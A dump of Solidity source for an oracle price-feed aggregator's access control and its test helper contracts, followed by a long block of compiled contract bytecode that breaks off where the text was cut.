/**
* @notice Adds an address to the access list
* @param _user The address to add
*/
function addAccess(address _user) external onlyOwner() {
addAccessInternal(_user);
}
function addAccessInternal(address _user) internal {
if (!accessList[_user]) {
accessList[_user] = true;
emit AddedAccess(_user);
}
}
/**
* @notice Removes an address from the access list
* @param _user The address to remove
*/
function removeAccess(address _user)
external
onlyOwner()
{
if (accessList[_user]) {
accessList[_user] = false;
emit RemovedAccess(_user);
}
}
/**
* @notice makes the access check enforced
*/
function enableAccessCheck()
external
onlyOwner()
{
if (!checkEnabled) {
checkEnabled = true;
emit CheckAccessEnabled();
}
}
/**
* @notice makes the access check unenforced
*/
function disableAccessCheck()
external
onlyOwner()
{
if (checkEnabled) {
checkEnabled = false;
emit CheckAccessDisabled();
}
}
/**
* @dev reverts if the caller does not have access
*/
modifier checkAccess() {
require(hasAccess(msg.sender, msg.data), "No access");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AccessControlledOffchainAggregator.sol";
import "./AccessControlTestHelper.sol";
contract TestOffchainAggregator is AccessControlledOffchainAggregator {
function testDecodeReport(
bytes memory report
) public pure returns (bytes32, bytes32, int192[] memory)
{
return decodeReport(report);
}
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
LinkTokenInterface _link,
int192 _minAnswer, int192 _maxAnswer,
AccessControllerInterface _billingAccessController,
AccessControllerInterface _requesterAdminAccessController
)
AccessControlledOffchainAggregator(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission, _link,
_minAnswer, _maxAnswer, _billingAccessController, _requesterAdminAccessController, 0, "TEST"
)
{}
function testPayee(
address _transmitter
)
external
view
returns (address)
{
return s_payees[_transmitter];
}
function getConfigDigest() public view returns (bytes16) {
return s_hotVars.latestConfigDigest;
}
function testSaturatingAddUint16(uint16 _x, uint16 _y)
external pure returns (uint16)
{
return saturatingAddUint16(_x, _y);
}
function testImpliedGasPrice(uint256 txGasPrice, uint256 reasonableGasPrice,
uint256 maximumGasPrice
) external pure returns (uint256) {
return impliedGasPrice(txGasPrice, reasonableGasPrice, maximumGasPrice);
}
function testTransmitterGasCostEthWei(uint256 initialGas, uint256 gasPrice,
uint256 callDataCost, uint256 gasLeft
) external pure returns (uint128) {
return transmitterGasCostEthWei(
initialGas, gasPrice, callDataCost, gasLeft
);
}
function testSetOracleObservationCount(address _oracle, uint16 _amount) external {
s_oracleObservationsCounts[s_oracles[_oracle].index] = _amount + 1;
}
function testTotalLinkDue()
external view returns (uint256 linkDue)
{
return totalLINKDue();
}
function billingData() external view returns (
uint16[maxNumOracles] memory observationsCounts,
uint256[maxNumOracles] memory gasReimbursements,
uint32 maximumGasPrice,
uint32 reasonableGasPrice,
uint32 microLinkPerEth,
uint32 linkGweiPerObservation,
uint32 linkGweiPerTransmission
) {
Billing memory b = s_billing;
return (s_oracleObservationsCounts, s_gasReimbursementsLinkWei,
b.maximumGasPrice, b.reasonableGasPrice, b.microLinkPerEth,
b.linkGweiPerObservation, b.linkGweiPerTransmission);
}
function testSetGasReimbursements(address _transmitterOrSigner, uint256 _amountLinkWei)
external
{
require(s_oracles[_transmitterOrSigner].role != Role.Unset, "address unknown");
s_gasReimbursementsLinkWei[s_oracles[_transmitterOrSigner].index] = _amountLinkWei + 1;
}
function testAccountingGasCost() public pure returns (uint256) {
return accountingGasCost;
}
function testBurnLINK(uint256 amount) public {
s_linkToken.transfer(address(1), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./AccessControlledOffchainAggregator.sol";
contract AccessControlTestHelper {
event Dummy(); // Used to silence warning that these methods are pure
function readGetRoundData(address _aggregator, uint80 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getRoundData(_roundID);
emit Dummy();
}
function readLatestRoundData(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestRoundData();
emit Dummy();
}
function readLatestAnswer(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestAnswer();
emit Dummy();
}
function readLatestTimestamp(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestTimestamp();
emit Dummy();
}
function readLatestRound(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestRound();
emit Dummy();
}
function readGetAnswer(address _aggregator, uint256 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getAnswer(_roundID);
emit Dummy();
}
function readGetTimestamp(address _aggregator, uint256 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getTimestamp(_roundID);
emit Dummy();
}
function testLatestTransmissionDetails(address _aggregator) external view {
OffchainAggregator(_aggregator).latestTransmissionDetails();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./OffchainAggregator.sol";
// ExposedOffchainAggregator exposes certain internal OffchainAggregator
// methods/structures so that golang code can access them, and we get
// reliable type checking on their usage
contract ExposedOffchainAggregator is OffchainAggregator {
constructor()
OffchainAggregator(
0, 0, 0, 0, 0, LinkTokenInterface(address(0)), 0, 0, AccessControllerInterface(address(0)), AccessControllerInterface(address(0)), 0, ""
)
{}
function exposedConfigDigestFromConfigData(
address _contractAddress,
uint64 _configCount,
address[] calldata _signers,
address[] calldata _transmitters,
uint8 _threshold,
uint64 _encodedConfigVersion,
bytes calldata _encodedConfig
) external pure returns (bytes16) {
return configDigestFromConfigData(_contractAddress, _configCount,
_signers, _transmitters, _threshold, _encodedConfigVersion,
_encodedConfig);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AggregatorValidatorInterface.sol";
contract TestValidator is AggregatorValidatorInterface {
uint32 s_minGasUse;
uint256 s_latestRoundId;
event Validated(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer,
uint256 initialGas
);
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
) external override returns (bool) {
uint256 initialGas = gasleft();
emit Validated(
previousRoundId,
previousAnswer,
currentRoundId,
currentAnswer,
initialGas
);
s_latestRoundId = currentRoundId;
uint256 minGasUse = s_minGasUse;
while (initialGas - gasleft() < minGasUse) {}
return true;
}
function setMinGasUse(uint32 minGasUse) external {
s_minGasUse = minGasUse;
}
function latestRoundId() external view returns (uint256) {
return s_latestRoundId;
}
} | 0x608060405234801561001057600080fd5b506004361061030a5760003560e01c80638e0566de1161019c578063c1075329116100ee578063e76d516811610097578063f2fde38b11610071578063f2fde38b14610cb6578063fbffd2c114610cdc578063feaf968c14610d025761030a565b8063e76d516814610c4e578063eb45716314610c56578063eb5dcd6c14610c885761030a565b8063dc7f0124116100c8578063dc7f012414610b9f578063e4902f8214610ba7578063e5fe457714610be45761030a565b8063c107532914610a57578063c980753914610a83578063d09dc33914610b975761030a565b80639e3ceeab11610150578063b5ab58dc1161012a578063b5ab58dc146109d8578063b633620c146109f5578063bd82470614610a125761030a565b80639e3ceeab14610966578063a118f2491461098c578063b121e147146109b25761030a565b8063996e829811610181578063996e8298146108295780639a6fc8f5146108315780639c849b30146108a45761030a565b80638e0566de146107d257806398e5b12a146108025761030a565b80636b14daf81161026057806381411834116102095780638823da6c116101e35780638823da6c1461077e5780638ac28d5a146107a45780638da5cb5b146107ca5761030a565b806381411834146106cd57806381ff7048146107255780638205bf6a146107765761030a565b80637284e4161161023a5780637284e416146106b557806379ba5097146106bd5780638038e4a1146106c55761030a565b80636b14daf8146105bf57806370da2f671461068957806370efdf2d146106915761030a565b8063313ce567116102c257806354fd4d501161029c57806354fd4d5014610482578063585aa7de1461048a578063668a0f02146105b75761030a565b8063313ce5671461042e5780634fb174701461044c57806350d25bcd1461047a5761030a565b8063181f5a77116102f3578063181f5a771461035157806322adbc78146103ce57806329937268146103ed5761030a565b80630a7569831461030f5780630eafb25b14610319575b600080fd5b610317610d0a565b005b61033f6004803603602081101561032f57600080fd5b50356001600160a01b0316610dc8565b60408051918252519081900360200190f35b610359610f13565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561039357818101518382015260200161037b565b50505050905090810190601f1680156103c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103d6610f33565b6040805160179290920b8252519081900360200190f35b6103f5610f57565b6040805163ffffffff96871681529486166020860152928516848401529084166060840152909216608082015290519081900360a00190f35b610436610fd4565b6040805160ff9092168252519081900360200190f35b6103176004803603604081101561046257600080fd5b506001600160a01b0381358116916020013516610ff8565b61033f6112dc565b61033f61137d565b610317600480360360a08110156104a057600080fd5b8101906020810181356401000000008111156104bb57600080fd5b8201836020820111156104cd57600080fd5b803590602001918460208302840111640100000000831117156104ef57600080fd5b91939092909160208101903564010000000081111561050d57600080fd5b82018360208201111561051f57600080fd5b8035906020019184602083028401116401000000008311171561054157600080fd5b9193909260ff8335169267ffffffffffffffff60208201351692919060608101906040013564010000000081111561057857600080fd5b82018360208201111561058a57600080fd5b803590602001918460018302840111640100000000831117156105ac57600080fd5b509092509050611382565b61033f611d5d565b610675600480360360408110156105d557600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561060057600080fd5b82018360208201111561061257600080fd5b8035906020019184600183028401116401000000008311171561063457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611df9945050505050565b604080519115158252519081900360200190f35b6103d6611e21565b610699611e45565b604080516001600160a01b039092168252519081900360200190f35b610359611e54565b610317611ef0565b610317611fbe565b6106d561207d565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156107115781810151838201526020016106f9565b505050509050019250505060405180910390f35b61072d6120df565b6040805163ffffffff94851681529290931660208301527fffffffffffffffffffffffffffffffff00000000000000000000000000000000168183015290519081900360600190f35b61033f612100565b6103176004803603602081101561079457600080fd5b50356001600160a01b031661219c565b610317600480360360208110156107ba57600080fd5b50356001600160a01b0316612293565b61069961230a565b6107da612319565b604080516001600160a01b03909316835263ffffffff90911660208301528051918290030190f35b61080a61235d565b6040805169ffffffffffffffffffff9092168252519081900360200190f35b6106996125b1565b61085a6004803603602081101561084757600080fd5b503569ffffffffffffffffffff166125c0565b604051808669ffffffffffffffffffff1681526020018581526020018481526020018381526020018269ffffffffffffffffffff1681526020019550505050505060405180910390f35b610317600480360360408110156108ba57600080fd5b8101906020810181356401000000008111156108d557600080fd5b8201836020820111156108e757600080fd5b8035906020019184602083028401116401000000008311171561090957600080fd5b91939092909160208101903564010000000081111561092757600080fd5b82018360208201111561093957600080fd5b8035906020019184602083028401116401000000008311171561095b57600080fd5b509092509050612675565b6103176004803603602081101561097c57600080fd5b50356001600160a01b03166128ae565b610317600480360360208110156109a257600080fd5b50356001600160a01b031661299c565b610317600480360360208110156109c857600080fd5b50356001600160a01b0316612a04565b61033f600480360360208110156109ee57600080fd5b5035612afd565b61033f60048036036020811015610a0b57600080fd5b5035612b9a565b610317600480360360a0811015610a2857600080fd5b5063ffffffff813581169160208101358216916040820135811691606081013582169160809091013516612c37565b61031760048036036040811015610a6d57600080fd5b506001600160a01b038135169060200135612d9d565b61031760048036036080811015610a9957600080fd5b810190602081018135640100000000811115610ab457600080fd5b820183602082011115610ac657600080fd5b80359060200191846001830284011164010000000083111715610ae857600080fd5b919390929091602081019035640100000000811115610b0657600080fd5b820183602082011115610b1857600080fd5b80359060200191846020830284011164010000000083111715610b3a57600080fd5b919390929091602081019035640100000000811115610b5857600080fd5b820183602082011115610b6a57600080fd5b80359060200191846020830284011164010000000083111715610b8c57600080fd5b9193509150356130c4565b61033f613fcd565b610675614077565b610bcd60048036036020811015610bbd57600080fd5b50356001600160a01b0316614080565b6040805161ffff9092168252519081900360200190f35b610bec61412d565b604080517fffffffffffffffffffffffffffffffff00000000000000000000000000000000909616865263ffffffff909416602086015260ff9092168484015260170b606084015267ffffffffffffffff166080830152519081900360a00190f35b61069961421c565b61031760048036036040811015610c6c57600080fd5b5080356001600160a01b0316906020013563ffffffff1661422b565b61031760048036036040811015610c9e57600080fd5b506001600160a01b03813581169160200135166143c0565b61031760048036036020811015610ccc57600080fd5b50356001600160a01b031661451b565b61031760048036036020811015610cf257600080fd5b50356001600160a01b03166145e3565b61085a61464b565b6000546001600160a01b03163314610d69576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60315460ff1615610dc657603180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f3be8a977a014527b50ae38adda80b56911c267328965c98ddc385d248f53963890600090a15b565b6001600160a01b03811660009081526028602090815260408083208151808301909252805460ff808216845285948401916101009004166002811115610e0a57fe5b6002811115610e1557fe5b9052509050600081602001516002811115610e2c57fe5b1415610e3c576000915050610f0e565b6040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116938301939093526c01000000000000000000000000810483166060830181905270010000000000000000000000000000000090910490921660808201528251909160009160019060059060ff16601f8110610ec757fe5b601091828204019190066002029054906101000a900461ffff160361ffff1602633b9aca0002905060016009846000015160ff16601f8110610f0557fe5b01540301925050505b919050565b6060604051806060016040528060288152602001615cc460289139905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6040805160a08101825260025463ffffffff808216808452640100000000830482166020850181905268010000000000000000840483169585018690526c01000000000000000000000000840483166060860181905270010000000000000000000000000000000090940490921660809094018490529490939290565b7f000000000000000000000000000000000000000000000000000000000000000881565b6000546001600160a01b03163314611057576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b6003546001600160a01b0390811690831681141561107557506112d8565b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516001600160a01b038516916370a08231916024808301926020929190829003018186803b1580156110d457600080fd5b505afa1580156110e8573d6000803e3d6000fd5b505050506040513d60208110156110fe57600080fd5b5061110990506146fe565b6000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561115857600080fd5b505afa15801561116c573d6000803e3d6000fd5b505050506040513d602081101561118257600080fd5b5051604080517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301526024820184905291519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156111f357600080fd5b505af1158015611207573d6000803e3d6000fd5b505050506040513d602081101561121d57600080fd5b5051611270576040805162461bcd60e51b815260206004820152601f60248201527f7472616e736665722072656d61696e696e672066756e6473206661696c656400604482015290519081900360640190fd5b600380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0386811691821790925560405190918416907f4966a50c93f855342ccf6c5c0d358b85b91335b2acedc7da0932f691f351711a90600090a350505b5050565b600061131f336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b611370576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611378614aae565b905090565b600481565b868560ff8616601f8311156113de576040805162461bcd60e51b815260206004820152601060248201527f746f6f206d616e79207369676e65727300000000000000000000000000000000604482015290519081900360640190fd5b60008111611433576040805162461bcd60e51b815260206004820152601a60248201527f7468726573686f6c64206d75737420626520706f736974697665000000000000604482015290519081900360640190fd5b8183146114715760405162461bcd60e51b8152600401808060200182810382526024815260200180615cec6024913960400191505060405180910390fd5b8060030283116114c8576040805162461bcd60e51b815260206004820181905260248201527f6661756c74792d6f7261636c65207468726573686f6c6420746f6f2068696768604482015290519081900360640190fd5b6000546001600160a01b03163314611527576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b602954156116cb57602980547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8101916000918390811061156457fe5b6000918252602082200154602a80546001600160a01b039092169350908490811061158b57fe5b6000918252602090912001546001600160a01b031690506115ab81614aea565b6001600160a01b0380831660009081526028602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00009081169091559284168252902080549091169055602980548061160757fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055602a80548061166a57fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905501905550611527915050565b60005b8a811015611ad9576000602860008e8e858181106116e857fe5b602090810292909201356001600160a01b031683525081019190915260400160002054610100900460ff16600281111561171e57fe5b14611770576040805162461bcd60e51b815260206004820152601760248201527f7265706561746564207369676e65722061646472657373000000000000000000604482015290519081900360640190fd5b6040805180820190915260ff8216815260016020820152602860008e8e8581811061179757fe5b602090810292909201356001600160a01b031683525081810192909252604001600020825181547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff9091161780825591830151909182907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010083600281111561182257fe5b02179055506000915060079050818c8c8581811061183c57fe5b6001600160a01b03602091820293909301358316845283019390935260409091016000205416919091141590506118ba576040805162461bcd60e51b815260206004820152601160248201527f7061796565206d75737420626520736574000000000000000000000000000000604482015290519081900360640190fd5b6000602860008c8c858181106118cc57fe5b602090810292909201356001600160a01b031683525081019190915260400160002054610100900460ff16600281111561190257fe5b14611954576040805162461bcd60e51b815260206004820152601c60248201527f7265706561746564207472616e736d6974746572206164647265737300000000604482015290519081900360640190fd5b6040805180820190915260ff8216815260026020820152602860008c8c8581811061197b57fe5b602090810292909201356001600160a01b031683525081810192909252604001600020825181547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff9091161780825591830151909182907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100836002811115611a0657fe5b021790555090505060298c8c83818110611a1c57fe5b835460018101855560009485526020948590200180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039590920293909301359390931692909217905550602a8a8a83818110611a7e57fe5b835460018181018655600095865260209586902090910180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03969093029490940135949094161790915550016116ce565b50602b805460ff89167501000000000000000000000000000000000000000000027fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff909116179055602d80544363ffffffff9081166401000000009081027fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff84161780831660010183167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000909116179384905590910481169116611ba530828f8f8f8f8f8f8f8f614cf6565b602b60000160006101000a8154816fffffffffffffffffffffffffffffffff021916908360801c02179055506000602b60000160106101000a81548164ffffffffff021916908364ffffffffff1602179055507f25d719d88a4512dd76c7442b910a83360845505894eb444ef299409e180f8fb982828f8f8f8f8f8f8f8f604051808b63ffffffff1681526020018a67ffffffffffffffff16815260200180602001806020018760ff1681526020018667ffffffffffffffff1681526020018060200184810384528c8c82818152602001925060200280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810384528a8152602090810191508b908b0280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810383528681526020019050868680828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169092018290039f50909d5050505050505050505050505050a150505050505050505050505050565b6000611da0336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b611df1576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611378614e36565b6000611e058383614e5c565b80611e1857506001600160a01b03831632145b90505b92915050565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b602f546001600160a01b031690565b6060611e97336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b611ee8576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611378614e8c565b6001546001600160a01b03163314611f4f576040805162461bcd60e51b815260206004820152601660248201527f4d7573742062652070726f706f736564206f776e657200000000000000000000604482015290519081900360640190fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000808316821784556001805490911690556040516001600160a01b0390921692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350565b6000546001600160a01b0316331461201d576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60315460ff16610dc657603180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556040517faebf329500988c6488a0074e5a0a9ff304561fc5c6fc877aeb1d59c8282c348090600090a1565b6060602a8054806020026020016040519081016040528092919081815260200182805480156120d557602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116120b7575b5050505050905090565b602d54602b5463ffffffff808316926401000000009004169060801b909192565b6000612143336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b612194576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611378614f37565b6000546001600160a01b031633146121fb576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526032602052604090205460ff1615612290576001600160a01b03811660008181526032602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055815192835290517f3d68a6fce901d20453d1a7aa06bf3950302a735948037deb182a8db66df2a0d19281900390910190a15b50565b6001600160a01b03818116600090815260076020526040902054163314612301576040805162461bcd60e51b815260206004820152601760248201527f4f6e6c792070617965652063616e207769746864726177000000000000000000604482015290519081900360640190fd5b61229081614aea565b6000546001600160a01b031681565b60408051808201909152602e546001600160a01b0381168083527401000000000000000000000000000000000000000090910463ffffffff16602090920182905291565b600080546001600160a01b03163314806124575750602f54604080517f6b14daf800000000000000000000000000000000000000000000000000000000815233600482018181526024830193845236604484018190526001600160a01b0390951694636b14daf894929360009391929190606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b15801561242a57600080fd5b505afa15801561243e573d6000803e3d6000fd5b505050506040513d602081101561245457600080fd5b50515b6124a8576040805162461bcd60e51b815260206004820152601d60248201527f4f6e6c79206f776e6572267265717565737465722063616e2063616c6c000000604482015290519081900360640190fd5b6040805160808082018352602b549081901b7fffffffffffffffffffffffffffffffff0000000000000000000000000000000016808352700100000000000000000000000000000000820464ffffffffff81166020808601919091527501000000000000000000000000000000000000000000840460ff9081168688015276010000000000000000000000000000000000000000000090940463ffffffff9081166060808801919091528751948552600884901c909116918401919091529216818501529251919233927f3ea16a923ff4b1df6526e854c9e3a995c43385d70e73359e10623c74f0b52037929181900390910190a2806060015160010163ffffffff1691505090565b6004546001600160a01b031690565b6000806000806000612609336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b61265a576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61266386614f92565b939a9299509097509550909350915050565b6000546001600160a01b031633146126d4576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b828114612728576040805162461bcd60e51b815260206004820181905260248201527f7472616e736d6974746572732e73697a6520213d207061796565732e73697a65604482015290519081900360640190fd5b60005b838110156128a757600085858381811061274157fe5b905060200201356001600160a01b03169050600084848481811061276157fe5b6001600160a01b0385811660009081526007602090815260409091205492029390930135831693509091169050801580806127ad5750826001600160a01b0316826001600160a01b0316145b6127fe576040805162461bcd60e51b815260206004820152601160248201527f706179656520616c726561647920736574000000000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03848116600090815260076020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168583169081179091559083161461289757826001600160a01b0316826001600160a01b0316856001600160a01b03167f78af32efdcad432315431e9b03d27e6cd98fb79c405fdc5af7c1714d9c0f75b360405160405180910390a45b50506001909201915061272b9050565b5050505050565b6000546001600160a01b0316331461290d576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b602f546001600160a01b0390811690821681146112d857602f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03848116918217909255604080519284168352602083019190915280517f27b89aede8b560578baaa25ee5ce3852c5eecad1e114b941bbd89e1eb4bae6349281900390910190a15050565b6000546001600160a01b031633146129fb576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b612290816150dd565b6001600160a01b03818116600090815260086020526040902054163314612a72576040805162461bcd60e51b815260206004820152601f60248201527f6f6e6c792070726f706f736564207061796565732063616e2061636365707400604482015290519081900360640190fd5b6001600160a01b0381811660008181526007602090815260408083208054337fffffffffffffffffffffffff000000000000000000000000000000000000000080831682179093556008909452828520805490921690915590519416939092849290917f78af32efdcad432315431e9b03d27e6cd98fb79c405fdc5af7c1714d9c0f75b39190a45050565b6000612b40336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b612b91576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611e1b82615176565b6000612bdd336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b612c2e576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611e1b826151ac565b6004546000546001600160a01b039182169116331480612d2f5750604080517f6b14daf800000000000000000000000000000000000000000000000000000000815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b158015612d0257600080fd5b505afa158015612d16573d6000803e3d6000fd5b505050506040513d6020811015612d2c57600080fd5b50515b612d80576040805162461bcd60e51b815260206004820181905260248201527f4f6e6c79206f776e65722662696c6c696e6741646d696e2063616e2063616c6c604482015290519081900360640190fd5b612d886146fe565b612d958686868686615201565b505050505050565b6000546001600160a01b0316331480612e95575060048054604080517f6b14daf8000000000000000000000000000000000000000000000000000000008152339381018481526024820192835236604483018190526001600160a01b0390941694636b14daf8949093600093919291606401848480828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016909201965060209550909350505081840390508186803b158015612e6857600080fd5b505afa158015612e7c573d6000803e3d6000fd5b505050506040513d6020811015612e9257600080fd5b50515b612ee6576040805162461bcd60e51b815260206004820181905260248201527f4f6e6c79206f776e65722662696c6c696e6741646d696e2063616e2063616c6c604482015290519081900360640190fd5b6000612ef061537b565b600354604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015612f5a57600080fd5b505afa158015612f6e573d6000803e3d6000fd5b505050506040513d6020811015612f8457600080fd5b5051905081811015612fdd576040805162461bcd60e51b815260206004820152601460248201527f696e73756666696369656e742062616c616e6365000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b031663a9059cbb85612ffb8585038761554b565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561304157600080fd5b505af1158015613055573d6000803e3d6000fd5b505050506040513d602081101561306b57600080fd5b50516130be576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b50505050565b60005a90506130d7888888888888615562565b361461312a576040805162461bcd60e51b815260206004820152601960248201527f7472616e736d6974206d65737361676520746f6f206c6f6e6700000000000000604482015290519081900360640190fd5b613132615b59565b6040805160808082018352602b549081901b7fffffffffffffffffffffffffffffffff00000000000000000000000000000000168252700100000000000000000000000000000000810464ffffffffff1660208301527501000000000000000000000000000000000000000000810460ff169282019290925276010000000000000000000000000000000000000000000090910463ffffffff166060808301919091529082526000908a908a908110156131eb57600080fd5b81359160208101359181019060608101604082013564010000000081111561321257600080fd5b82018360208201111561322457600080fd5b8035906020019184602083028401116401000000008311171561324657600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050505060408801525050506080840182905283515190925060589190911b907fffffffffffffffffffffffffffffffff0000000000000000000000000000000080831691161461330d576040805162461bcd60e51b815260206004820152601560248201527f636f6e666967446967657374206d69736d617463680000000000000000000000604482015290519081900360640190fd5b608083015183516020015164ffffffffff808316911610613375576040805162461bcd60e51b815260206004820152600c60248201527f7374616c65207265706f72740000000000000000000000000000000000000000604482015290519081900360640190fd5b83516040015160ff1689116133d1576040805162461bcd60e51b815260206004820152601560248201527f6e6f7420656e6f756768207369676e6174757265730000000000000000000000604482015290519081900360640190fd5b601f891115613427576040805162461bcd60e51b815260206004820152601360248201527f746f6f206d616e79207369676e61747572657300000000000000000000000000604482015290519081900360640190fd5b86891461347b576040805162461bcd60e51b815260206004820152601e60248201527f7369676e617475726573206f7574206f6620726567697374726174696f6e0000604482015290519081900360640190fd5b601f84604001515111156134d6576040805162461bcd60e51b815260206004820152601e60248201527f6e756d206f62736572766174696f6e73206f7574206f6620626f756e64730000604482015290519081900360640190fd5b83600001516040015160020260ff168460400151511161353d576040805162461bcd60e51b815260206004820152601e60248201527f746f6f206665772076616c75657320746f207472757374206d656469616e0000604482015290519081900360640190fd5b8867ffffffffffffffff8111801561355457600080fd5b506040519080825280601f01601f19166020018201604052801561357f576020820181803683370190505b50606085015260005b60ff81168a11156135f057868160ff16602081106135a257fe5b1a60f81b85606001518260ff16815181106135b957fe5b60200101907efffffffffffffffffffffffffffffffff